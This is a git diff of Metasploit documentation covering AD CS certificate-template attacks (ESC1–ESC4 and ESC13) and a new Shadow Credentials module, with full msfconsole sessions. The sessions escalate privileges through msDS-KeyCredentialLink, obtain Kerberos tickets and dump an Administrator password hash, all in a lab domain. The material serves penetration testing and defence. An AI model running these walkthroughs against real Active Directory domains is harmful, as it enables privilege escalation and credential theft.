subgraph kerberos/get_ticket[<b>kerberos/get_ticket</b>]
|
||||
PKINIT[<i>PKINIT</i>]
|
||||
end
|
||||
subgraph ldap_esc_vulnerable_cert_finder[<b>ldap_ecs_vulnerable_cert_finder</b>]
|
||||
find_vulnerable_templates[<i>Find Vulnerable Templates</i>]
|
||||
end
|
||||
alt_subject --> PKINIT
|
||||
find_vulnerable_templates --> icpr_cert
|
||||
normal --> PKINIT
|
||||
update_template --> ESC1
|
||||
```
|
||||
|
||||
The chart above showcases how one can go about attacking four common AD CS
|
||||
The chart above showcases how one can go about attacking five unique AD CS
|
||||
vulnerabilities, taking advantage of various flaws in how certificate templates are
|
||||
configured on an Active Directory Certificate Server.
|
||||
|
||||
@@ -30,8 +51,7 @@ administrator via Kerberos.
|
||||
Each certificate template vulnerability that will be discussed here has a ESC code, such
|
||||
as ESC1, ESC2. These ESC codes are taken from the original whitepaper that
|
||||
SpecterOps published which popularized these certificate template attacks, known as
|
||||
[Certified
|
||||
Pre-Owned](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf).
|
||||
[Certified Pre-Owned](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf).
|
||||
In this paper Will Schroeder and Lee Christensen described 8 different domain escalation
|
||||
attacks that they found they could conduct via misconfigured certificate templates:
|
||||
|
||||
@@ -52,29 +72,30 @@ attacks that they found they could conduct via misconfigured certificate templat
|
||||
- ESC7 - Vulnerable Certificate Authority Access Control
|
||||
- ESC8 - NTLM Relay to AD CS HTTP Endpoints
|
||||
|
||||
Later, another
|
||||
[blog](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
|
||||
came out from Oliver Lyak which discovered ESC9 and ESC10, two more vulnerabilities that
|
||||
could allow normal domain joined users to abuse certificate template misconfigurations to
|
||||
gain domain administrator privileges.
|
||||
Later, additional techniques were disclosed by security researchers:
|
||||
|
||||
- ESC9 - No Security Extension - CT_FLAG_NO_SECURITY_EXTENSION flag set in
|
||||
`msPKI-EnrollmentFlag`. Also `StrongCertificateBindingEnforcement` not set to 2 or
|
||||
`CertificateMappingMethods` contains `UPN` flag.
|
||||
- ESC10 - Weak Certificate Mappings -
|
||||
`HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel
|
||||
CertificateMappingMethods` contains `UPN` bit aka `0x4` or
|
||||
`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc StrongCertificateBindingEnforcement` is set to `0`.
|
||||
- ESC9 - No Security Extension - CT_FLAG_NO_SECURITY_EXTENSION flag set in `msPKI-EnrollmentFlag`. Also
|
||||
`StrongCertificateBindingEnforcement` not set to 2 or `CertificateMappingMethods` contains `UPN` flag.
|
||||
- [Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and
|
||||
more!](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
|
||||
- ESC10 - Weak Certificate Mappings - `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel
|
||||
CertificateMappingMethods` contains `UPN` bit aka `0x4` or `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc
|
||||
StrongCertificateBindingEnforcement` is set to `0`.
|
||||
- [Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and
|
||||
more!](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
|
||||
- ESC11 - Relaying NTLM to ICPR - Relaying NTLM authentication to unprotected RPC interface is allowed due to lack of
|
||||
the `IF_ENFORCEENCRYPTICERTREQUEST` flag on `Config.CA.Interface.Flags`.
|
||||
- [Relaying to AD Certificate Services over
|
||||
RPC](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/)
|
||||
- ESC12 - A user with shell access to a CA server using a YubiHSM2 hardware security module can access the CA's private
|
||||
key.
|
||||
- [Shell access to ADCS CA with YubiHSM](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm)
|
||||
- ESC13 - Domain escalation via issuance policies with group links.
|
||||
- [ADCS ESC13 Abuse Technique](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53)
|
||||
- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc13]]
|
||||
|
||||
Finally, we have ESC11, which was discovered by Compass Security and described in their
|
||||
[blog
|
||||
post](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
|
||||
|
||||
- ESC11 - Relaying NTLM to ICPR - Relaying NTLM authentication to unprotected RPC
|
||||
interface is allowed due to lack of the `IF_ENFORCEENCRYPTICERTREQUEST` flag on `Config.CA.Interface.Flags`.
|
||||
|
||||
Currently, Metasploit only supports attacking ESC1, ESC2, ESC3, and ESC4. As such,
|
||||
this page only covers exploiting ESC1 to ESC4 at this time.
|
||||
Currently, Metasploit only supports attacking ESC1, ESC2, ESC3, ESC4 and ESC13. As such,
|
||||
this page only covers exploiting ESC1 through ESC4 and ESC13 at this time.
|
||||
|
||||
Before continuing, it should be noted that ESC1 is slightly different than ESC2 and ESC3
|
||||
as the diagram notes above. This is because in ESC1, one has control over the
|
||||
@@ -134,7 +155,9 @@ Domain Controller (DC), and will run a set of LDAP queries to gather a list of c
|
||||
templates they make available for enrollment. It will then also query the permissions on both the CA and the certificate template to figure out
|
||||
which users or groups can use that certificate template to elevate their privileges.
|
||||
|
||||
At this time, the module is capable of identifying techniques ESC1 through ESC3.
|
||||
Currently the module is capable of checking for certificates that are vulnerable to ESC1, ESC2, ESC3, and ESC13. The
|
||||
module is limited to checking for these techniques due to them being identifiable remotely from a normal user account by
|
||||
analyzing the objects in LDAP.
|
||||
|
||||
Keep in mind though that there are two sets of permissions in play here though. There is one set of permissions on the CA server that control
|
||||
who is able to enroll in any certificate template from that server, and second set of permissions that control who is allowed to enroll in
|
||||
@@ -858,6 +881,67 @@ msf6 auxiliary(admin/ldap/ad_cs_cert_template) >
|
||||
At this point the certificate template's configuration has been restored and the operator has a certificate that can be
|
||||
used to authenticate to Active Directory as the Domain Admin.
|
||||
|
||||
# Exploiting ESC13
|
||||
To exploit ESC13, we need to target a certificate that has an issuance policy linked to a universal group in Active
|
||||
Directory. Unlike some of the other ESC techniques, successfully exploiting ESC13 isn't necessarily guaranteed to yield
|
||||
administrative privileges, rather the privileges that are gained are those of the group which is linked to by OID in the
|
||||
certificate template's issuance policy. The `auxiliary/gather/ldap_esc_vulnerable_cert_finder` module is capable of
|
||||
identifying certificates that meet the necessary criteria. When one is found, the module will include the group whose
|
||||
permissions will be included in the resulting Kerberos ticket in the notes section. In the following example, the
|
||||
ESC13-Test template is vulenerable to ESC13 and will yield a ticket including the ESC13-Group permissions.
|
||||
|
||||
```
|
||||
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
|
||||
...
|
||||
[*] Template: ESC13-Test
|
||||
[*] Distinguished Name: CN=ESC13-Test,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=collalabs1,DC=local
|
||||
[*] Vulnerable to: ESC13
|
||||
[*] Notes: ESC13 groups: ESC13-Group
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3474343397-3755413101-2031708755-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3474343397-3755413101-2031708755-513 (Domain Users)
|
||||
[*] * S-1-5-21-3474343397-3755413101-2031708755-519 (Enterprise Admins)
|
||||
[*] Issuing CAs:
|
||||
[*] * collalabs1-SRV-ADDS01-CA
|
||||
[*] Server: SRV-ADDS01.collalabs1.local
|
||||
[*] Enrollment SIDs:
|
||||
[*] * S-1-5-11 (Authenticated Users)
|
||||
[*] * S-1-5-21-3474343397-3755413101-2031708755-519 (Enterprise Admins)
|
||||
[*] * S-1-5-21-3474343397-3755413101-2031708755-512 (Domain Admins)
|
||||
```
|
||||
|
||||
In this case, the ticket can be issued with the `icpr_cert` module. No additional options are required to issue the
|
||||
certificate beyond the standard `CA`, `CERT_TEMPLATE`, target and authentication options.
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/admin/dcerpc/icpr_cert
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
|
||||
RHOSTS => 172.30.239.85
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
|
||||
SMBUser => normaluser
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain COLLALABS1
|
||||
SMBDomain => COLLALABS1
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
|
||||
SMBPass => normalpass
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA collalabs1-SRV-ADDS01-CA
|
||||
CA => collalabs1-SRV-ADDS01-CA
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC13-Test
|
||||
CERT_TEMPLATE => ESC13-Test
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
|
||||
[*] Running module against 172.30.239.85
|
||||
|
||||
[+] 172.30.239.85:445 - The requested certificate was issued.
|
||||
[*] 172.30.239.85:445 - Certificate Email: normaluser@collalabs1.local
|
||||
[*] 172.30.239.85:445 - Certificate SID: S-1-5-21-3474343397-3755413101-2031708755-10051
|
||||
[*] 172.30.239.85:445 - Certificate UPN: normaluser@collalabs1.local
|
||||
[*] 172.30.239.85:445 - Certificate stored at: /home/normaluser/.msf4/loot/20240226170310_default_172.30.239.85_windows.ad.cs_917878.pfx
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) >
|
||||
```
|
||||
|
||||
We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket granting ticket (TGT) with the `ESC13-Group`
|
||||
RID present in the Groups field of the TGT PAC.
|
||||
|
||||
# Authenticating With A Certificate
|
||||
Metasploit supports authenticating with certificates in a couple of different ways. These techniques can be used to take
|
||||
further actions once a certificate has been issued for a particular identity (such as a Domain Admin user).
|
||||
|
||||
+25
-3
@@ -202,13 +202,33 @@ git fetch upstream
|
||||
git checkout fixes-to-pr-12345 upstream/pr/12345
|
||||
```
|
||||
|
||||
If you're writing test cases (which you should), then make sure [rspec] works:
|
||||
## Running and writing tests
|
||||
|
||||
If you're writing test cases (which you should), you should first configure your local database:
|
||||
|
||||
```bash
|
||||
rake spec
|
||||
bundle exec rake db:create db:migrate db:seed RAILS_ENV=test
|
||||
```
|
||||
|
||||
You should see over 9000 tests run, mostly resulting in green dots, a few in yellow stars, and no red errors.
|
||||
Then make sure [rspec] works:
|
||||
|
||||
```bash
|
||||
bundle exec rspec
|
||||
```
|
||||
|
||||
To run tests defined in file(s):
|
||||
|
||||
```bash
|
||||
bundle exec rspec ./spec/path/to/your/tests_1.rb ./spec/path/to/your/tests_2.rb
|
||||
```
|
||||
|
||||
To run run the tests defined at a line number - for instance line 23:
|
||||
|
||||
```
|
||||
bundle exec rspec ./spec/path/to/your/tests_1.rb:23
|
||||
```
|
||||
|
||||
Newly contributed tests should follow the conventions defined by [BetterSpecs.org] - with the additional requirement that all `it` blocks should have a human readable description.
|
||||
|
||||
# Great! Now what?
|
||||
|
||||
@@ -250,3 +270,5 @@ Finally, we welcome your feedback on this guide, so feel free to reach out to us
|
||||
[@kernelsmith]:https://github.com/kernelsmith
|
||||
[@corelanc0d3r]:https://github.com/corelanc0d3r
|
||||
[@ffmike]:https://github.com/ffmike
|
||||
|
||||
[BetterSpecs.org]:https://www.betterspecs.org/
|
||||
|
||||
@@ -106,5 +106,5 @@ sequenceDiagram
|
||||
- AS-REP Roasting - Some Kerberos accounts may be configured with a `Do not require Kerberos preauthentication` flag. For these accounts a Kerberos TGT will be returned by the KDC without needing to authenticate. These TGTs can be bruteforced to learn the original user's credentials. The [[auxiliary/scanner/kerberos/kerberos_login|pentesting/active-directory/kerberos/kerberos_login.md#asreproasting]] module implements this workflow.
|
||||
- Forging Tickets - After compromising a KDC or service account it is possible to forge tickets for persistence. The [[auxiliary/admin/kerberos/forge_ticket|pentesting/active-directory/kerberos/forge_ticket.md]] module can forge both Golden and Silver tickets.
|
||||
- Inspecting Tickets - Kerberos tickets can be inspected with the [[auxiliary/admin/kerberos/inspect_ticket|pentesting/active-directory/kerberos/inspect_ticket.md]] module. If the encryption key is known, the decrypted contents can be displayed.
|
||||
- [[Service authentication|kerberos/service_authentication.md]] - Using Kerberos to authenticate via services suh as WinRM/Microsoft SQL Server/SMB/LDAP/etc
|
||||
- [[Service authentication|kerberos/service_authentication.md]] - Using Kerberos to authenticate via services such as WinRM/Microsoft SQL Server/SMB/LDAP/etc
|
||||
- [[Kerberoasting|kerberos/kerberoasting.md]] - Finding services in Active Directory that are associated with normal user accounts which may have brute forcible encryption keys that lead to Active Directory credentials.
|
||||
|
||||
@@ -325,6 +325,9 @@ NAVIGATION_CONFIG = [
|
||||
{
|
||||
path: 'Metasploit-Web-Service.md'
|
||||
},
|
||||
{
|
||||
path: 'How-to-Configure-DNS.md'
|
||||
},
|
||||
{
|
||||
title: 'Meterpreter',
|
||||
folder: 'meterpreter',
|
||||
|
||||
@@ -3,6 +3,8 @@ Request certificates via MS-ICPR (Active Directory Certificate Services). Depend
|
||||
template's configuration the resulting certificate can be used for various operations such as authentication.
|
||||
PFX certificate files that are saved are encrypted with a blank password.
|
||||
|
||||
This module is capable of exploiting ESC1, ESC2, ESC3 and ESC13.
|
||||
|
||||
## Module usage
|
||||
|
||||
1. From msfconsole
|
||||
|
||||
File diff suppressed because one or more lines are too long
@@ -1,9 +1,13 @@
|
||||
## RBCD Exploitation
|
||||
## AD CS Certificate Template Exploitation
|
||||
|
||||
This module can read, write, update, and delete AD CS certificate templates from a Active Directory Domain Controller.
|
||||
|
||||
The READ, UPDATE, and DELETE actions will write a copy of the certificate template to disk that can be restored using
|
||||
the CREATE or UPDATE actions.
|
||||
The READ, UPDATE, and DELETE actions will write a copy of the certificate template to disk that can be
|
||||
restored using the CREATE or UPDATE actions. The CREATE and UPDATE actions require a certificate template data
|
||||
file to be specified to define the attributes. Template data files are provided to create a template that is
|
||||
vulnerable to ESC1, ESC2, and ESC3.
|
||||
|
||||
This module is capable of exploiting ESC4.
|
||||
|
||||
In order for the `auxiliary/admin/ldap/ad_cs_cert_template` module to succeed, the authenticated user must have the
|
||||
necessary permissions to perform the specified action on the target object (the certificate specified in
|
||||
|
||||
@@ -160,7 +160,7 @@ msf6 auxiliary(admin/dcerpc/samr_computer) > run
|
||||
msf6 auxiliary(admin/dcerpc/samr_computer) > use auxiliary/admin/ldap/rbcd
|
||||
```
|
||||
|
||||
Now use the RBCD module to read the the current value of `msDS-AllowedToActOnBehalfOfOtherIdentity`:
|
||||
Now use the RBCD module to read the current value of `msDS-AllowedToActOnBehalfOfOtherIdentity`:
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/ldap/rbcd) > set USERNAME sandy@msflab.local
|
||||
|
||||
@@ -0,0 +1,264 @@
|
||||
## Shadow Credentials Exploitation
|
||||
|
||||
If an account has the ability to write to the `msDS-KeyCredentialLink` attribute against a target, this can be abused for privilege escalation.
|
||||
This situation exists when a user contains the `GenericWrite` permission over another account. In addition, by default, Computer accounts have
|
||||
the ability to write their own value (whereas user accounts do not).
|
||||
|
||||
The `auxiliary/admin/ldap/shadow_credentials` module can be used to read and write the `msDS-KeyCredentialLink` LDAP attribute against a target.
|
||||
When writing, the module will append a KeyCredential blob to this LDAP attribute, and write a certificate file (`pfx`) to disk. This `pfx` file
|
||||
can then be used to authenticate as the account using PKINIT (the `auxiliary/admin/kerberos/get_ticket` module), as long as Certificate Services
|
||||
are enabled within the domain.
|
||||
|
||||
## Lab setup
|
||||
|
||||
Set up a domain with AD CS configured.
|
||||
|
||||
For the Shadow Credentials attack to work, an Active Directory account (e.g. `sandy`) is required with write privileges to the target account (i.e. `victim`).
|
||||
Alternatively, Computer accounts should be able to modify this value for their own account, with some limitations (described below).
|
||||
|
||||
From an admin powershell prompt, first create a new Active Directory account, `sandy`, in your Active Directory environment:
|
||||
|
||||
```powershell
|
||||
# Create a basic user account
|
||||
net user /add sandy Password1!
|
||||
|
||||
# Mark the sandy and password as never expiring, to ensure the lab setup still works in the future
|
||||
net user sandy /expires:never
|
||||
Set-AdUser -Identity sandy -PasswordNeverExpires:$true
|
||||
```
|
||||
|
||||
Grant Write privileges for sandy to the target account, i.e. `victim`:
|
||||
|
||||
```powershell
|
||||
# Remember to change victim to the name of your target user
|
||||
$TargetUser = Get-ADUser 'victim'
|
||||
$User = Get-ADUser 'sandy'
|
||||
|
||||
# Add GenericWrite access to the user against the target computer
|
||||
$Rights = [System.DirectoryServices.ActiveDirectoryRights] "GenericWrite"
|
||||
$ControlType = [System.Security.AccessControl.AccessControlType] "Allow"
|
||||
$InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "All"
|
||||
$GenericWriteAce = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $User.Sid,$Rights,$ControlType,$InheritanceType
|
||||
$TargetUserAcl = Get-Acl "AD:$($TargetUser.DistinguishedName)"
|
||||
$TargetUserAcl.AddAccessRule($GenericWriteAce)
|
||||
Set-Acl -AclObject $TargetUserAcl -Path "AD:$($TargetUser.DistinguishedName)"
|
||||
```
|
||||
|
||||
Finally Verify the Write privileges for the sandy account:
|
||||
|
||||
```powershell
|
||||
PS C:\Users\administrator> $TargetUser = Get-ADUser 'victim'
|
||||
PS C:\Users\administrator> (Get-ACL "AD:$($TargetUser.DistinguishedName)").Access| Where-Object { $_.IdentityReference -Match 'sandy' }
|
||||
|
||||
ActiveDirectoryRights : GenericWrite
|
||||
InheritanceType : All
|
||||
ObjectType : 00000000-0000-0000-0000-000000000000
|
||||
InheritedObjectType : 00000000-0000-0000-0000-000000000000
|
||||
ObjectFlags : None
|
||||
AccessControlType : Allow
|
||||
IdentityReference : MSFLAB\sandy
|
||||
IsInherited : False
|
||||
InheritanceFlags : ContainerInherit
|
||||
PropagationFlags : None
|
||||
```
|
||||
|
||||
## Module usage
|
||||
1. `use auxiliary/admin/ldap/shadow_credentials`
|
||||
2. Set the `RHOST` value to a target domain controller
|
||||
3. Set the `USERNAME` and `PASSWORD` information to an account with the necessary privileges
|
||||
4. Set the `TARGET_USER` to the victim account
|
||||
5. Use the `ADD` action to add a credential entry to the victim account
|
||||
|
||||
See the Scenarios for a more detailed walk through
|
||||
|
||||
## Actions
|
||||
|
||||
### FLUSH
|
||||
Delete *all* credential entries. Unlike the REMOVE action, this deletes the entire property instead of just
|
||||
the matching device IDs. Use with caution, as any existing entries may be relied upon by legitimate users.
|
||||
|
||||
### LIST
|
||||
Read the credential entries and print the Device (Certificate) IDs of currently configured entries
|
||||
|
||||
### REMOVE
|
||||
Remove matching certificates from the `msDS-KeyCredentialLink` property. Unlike the FLUSH action, this only removes the matching Device (Certificate) ID
|
||||
instead of deleting the entire property.
|
||||
|
||||
### ADD
|
||||
Add a certificate entry to the `msDS-KeyCredentialLink` property. The new entry will be appended to the end of the existing set of values.
|
||||
|
||||
## Options
|
||||
|
||||
### TARGET_USER
|
||||
The user (or computer) account being targeted. This is the object whose Key Credential property is the target of the ACTION
|
||||
(read, write, etc.). The authenticated user must have the appropriate access to this object.
|
||||
|
||||
### DEVICE_ID
|
||||
The certificate ID to delete when using the `REMOVE` action. You can retrieve Certificate IDs for a user account by using the `LIST` action.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Window Server 2022 Domain Controller, Targeting user account
|
||||
|
||||
In the following example the user `MSF\sandy` has write access to the user account `victim`. We will start the attack using the `admin/ldap/shadow_credentials` module.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > show options
|
||||
|
||||
Module options (auxiliary/admin/ldap/shadow_credentials):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
DOMAIN no The domain to authenticate to
|
||||
PASSWORD no The password to authenticate with
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 389 yes The target port
|
||||
SSL false no Enable SSL on the LDAP connection
|
||||
TARGET_USER yes The target to write to
|
||||
USERNAME no The username to authenticate with
|
||||
|
||||
|
||||
When ACTION is REMOVE:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
DEVICE_ID no The specific certificate ID to operate on
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
|
||||
Name Description
|
||||
---- -----------
|
||||
LIST Read all credentials associated with the account
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > set rhosts 20.92.148.129
|
||||
rhosts => 20.92.148.129
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > set domain MSF.LOCAL
|
||||
domain => MSF.LOCAL
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > set username sandy
|
||||
username => sandy
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > set password Password1!
|
||||
password => Password1!
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > set target_user victim
|
||||
target_user => victim
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > set action add
|
||||
action => add
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > run
|
||||
[*] Running module against 20.92.148.129
|
||||
|
||||
[*] Discovering base DN automatically
|
||||
[+] 20.92.148.129:389 Discovered base DN: DC=msf,DC=local
|
||||
[*] Certificate stored at: /home/user/.msf4/loot/20240404115740_default_20.92.148.129_windows.ad.cs_300384.pfx
|
||||
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 8a75b35e-f4d9-4469-49aa-3f0bfc692f07
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
The LDAP property has been successfully updated. Now we can request a TGT using the `get_ticket` module.
|
||||
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/kerberos/get_ticket) > set rhosts 20.92.148.129
|
||||
rhosts => 20.92.148.129
|
||||
msf6 auxiliary(admin/kerberos/get_ticket) > set username victim
|
||||
username => victim
|
||||
msf6 auxiliary(admin/kerberos/get_ticket) > set domain MSF.LOCAL
|
||||
domain => MSF.LOCAL
|
||||
msf6 auxiliary(admin/kerberos/get_ticket) > set cert_file /home/user/.msf4/loot/20240404115740_default_20.92.148.129_windows.ad.cs_300384.pfx
|
||||
cert_file => /home/user/.msf4/loot/20240404115740_default_20.92.148.129_windows.ad.cs_300384.pfx
|
||||
msf6 auxiliary(admin/kerberos/get_ticket) > run
|
||||
[*] Running module against 20.92.148.129
|
||||
|
||||
[!] Warning: Provided principal and realm (victim@MSF.LOCAL) do not match entries in certificate:
|
||||
[*] 20.92.148.129:88 - Getting TGT for victim@MSF.LOCAL
|
||||
[+] 20.92.148.129:88 - Received a valid TGT-Response
|
||||
[*] 20.92.148.129:88 - TGT MIT Credential Cache ticket saved to /home/user/.msf4/loot/20240404120020_default_20.92.148.129_mit.kerberos.cca_046023.bin
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
The saved TGT can be used in a pass-the-ticket style attack. For instance using the `auxiliary/gather/windows_secrets_dump` module:
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(gather/windows_secrets_dump) > run smb::auth=kerberos smb::rhostname=dc22 smbuser=victim smbdomain=msf.local rhost=20.92.148.129 domaincontrollerrhost=20.92.148.129
|
||||
[*] Running module against 20.92.148.129
|
||||
|
||||
[*] 20.92.148.129:445 - Using cached credential for krbtgt/MSF.LOCAL@MSF.LOCAL victim@MSF.LOCAL
|
||||
[+] 20.92.148.129:445 - 20.92.148.129:88 - Received a valid TGS-Response
|
||||
[*] 20.92.148.129:445 - 20.92.148.129:445 - TGS MIT Credential Cache ticket saved to /home/user/.msf4/loot/20240404121510_default_20.92.148.129_mit.kerberos.cca_449355.bin
|
||||
[+] 20.92.148.129:445 - 20.92.148.129:88 - Received a valid delegation TGS-Response
|
||||
[*] 20.92.148.129:445 - Service RemoteRegistry is already running
|
||||
[*] 20.92.148.129:445 - Retrieving target system bootKey
|
||||
[+] 20.92.148.129:445 - bootKey: 0x019e09099ae1ec55560bc1e7f9414919
|
||||
[*] 20.92.148.129:445 - Saving remote SAM database
|
||||
[*] 20.92.148.129:445 - Dumping SAM hashes
|
||||
[*] 20.92.148.129:445 - Password hints:
|
||||
No users with password hints on this system
|
||||
[*] 20.92.148.129:445 - Password hashes (pwdump format - uid:rid:lmhash:nthash:::):
|
||||
Administrator:500:aad3b435b51404eeaad3b435b51404ee:26f8220ed7f1494c5737bd552e661f89:::
|
||||
```
|
||||
|
||||
### Window Server 2022 Domain Controller, Computer account targeting itself
|
||||
|
||||
In the following example the user `MSF\DESKTOP-H4VEQQHQ$` targets itself. No special permissions are required for this, as computers have some ability to modify their own value by default.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV action=add
|
||||
[*] Running module against 20.92.148.129
|
||||
|
||||
[+] Successfully bound to the LDAP server!
|
||||
[*] Discovering base DN automatically
|
||||
[*] 20.92.148.129:389 Getting root DSE
|
||||
[+] 20.92.148.129:389 Discovered base DN: DC=msf,DC=local
|
||||
[*] Certificate stored at: /home/user/.msf4/loot/20240404122017_default_20.92.148.129_windows.ad.cs_502988.pfx
|
||||
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID ff946afc-a94a-f9c5-7229-861bb9ee4709
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
Note, however, that attempting to add a second credential will fail under these circumstances:
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV action=add
|
||||
[*] Running module against 20.92.148.129
|
||||
|
||||
[+] Successfully bound to the LDAP server!
|
||||
[*] Discovering base DN automatically
|
||||
[*] 20.92.148.129:389 Getting root DSE
|
||||
[+] 20.92.148.129:389 Discovered base DN: DC=msf,DC=local
|
||||
[!] By default, computer accounts can only update their key credentials if no value already exists. If there is already a value present, you can remove it, and add your own, but any users relying on the existing credentials will not be able to authenticate until you replace the existing value(s).
|
||||
[-] Failed to update the msDS-KeyCredentialLink attribute.
|
||||
[-] Auxiliary aborted due to failure: no-access: The LDAP operation failed due to insufficient access rights.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
This is because computer accounts only have permission to modify their own `msDS-KeyCredentialLink` property if it does not already have a value.
|
||||
It is possible to circumvent this by first entirely removing the existing value, and then adding a new one. Note that this will break authentication
|
||||
for any legitimate user relying on the existing value.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > set action flush
|
||||
action => flush
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV
|
||||
[*] Running module against 20.92.148.129
|
||||
|
||||
[+] Successfully bound to the LDAP server!
|
||||
[*] Discovering base DN automatically
|
||||
[*] 20.92.148.129:389 Getting root DSE
|
||||
[+] 20.92.148.129:389 Discovered base DN: DC=msf,DC=local
|
||||
[+] Successfully deleted the msDS-KeyCredentialLink attribute.
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > set action add
|
||||
action => add
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV
|
||||
[*] Running module against 20.92.148.129
|
||||
|
||||
[+] Successfully bound to the LDAP server!
|
||||
[*] Discovering base DN automatically
|
||||
[*] 20.92.148.129:389 Getting root DSE
|
||||
[+] 20.92.148.129:389 Discovered base DN: DC=msf,DC=local
|
||||
[*] Certificate stored at: /home/user/.msf4/loot/20240404122240_default_20.92.148.129_windows.ad.cs_785877.pfx
|
||||
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 1107833b-0eb6-0477-a7c6-3590b326851a
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -60,14 +60,17 @@ msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > options
|
||||
|
||||
Module options (auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it
|
||||
NEW_PASSWORD no Password of admin user to add
|
||||
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
|
||||
RPORT 636 yes The target port
|
||||
SSL true no Enable SSL on the LDAP connection
|
||||
NEW_USERNAME no Username of admin user to add
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it
|
||||
DOMAIN no The domain to authenticate to
|
||||
NEW_PASSWORD no Password of admin user to add
|
||||
NEW_USERNAME no Username of admin user to add
|
||||
PASSWORD no The password to authenticate with
|
||||
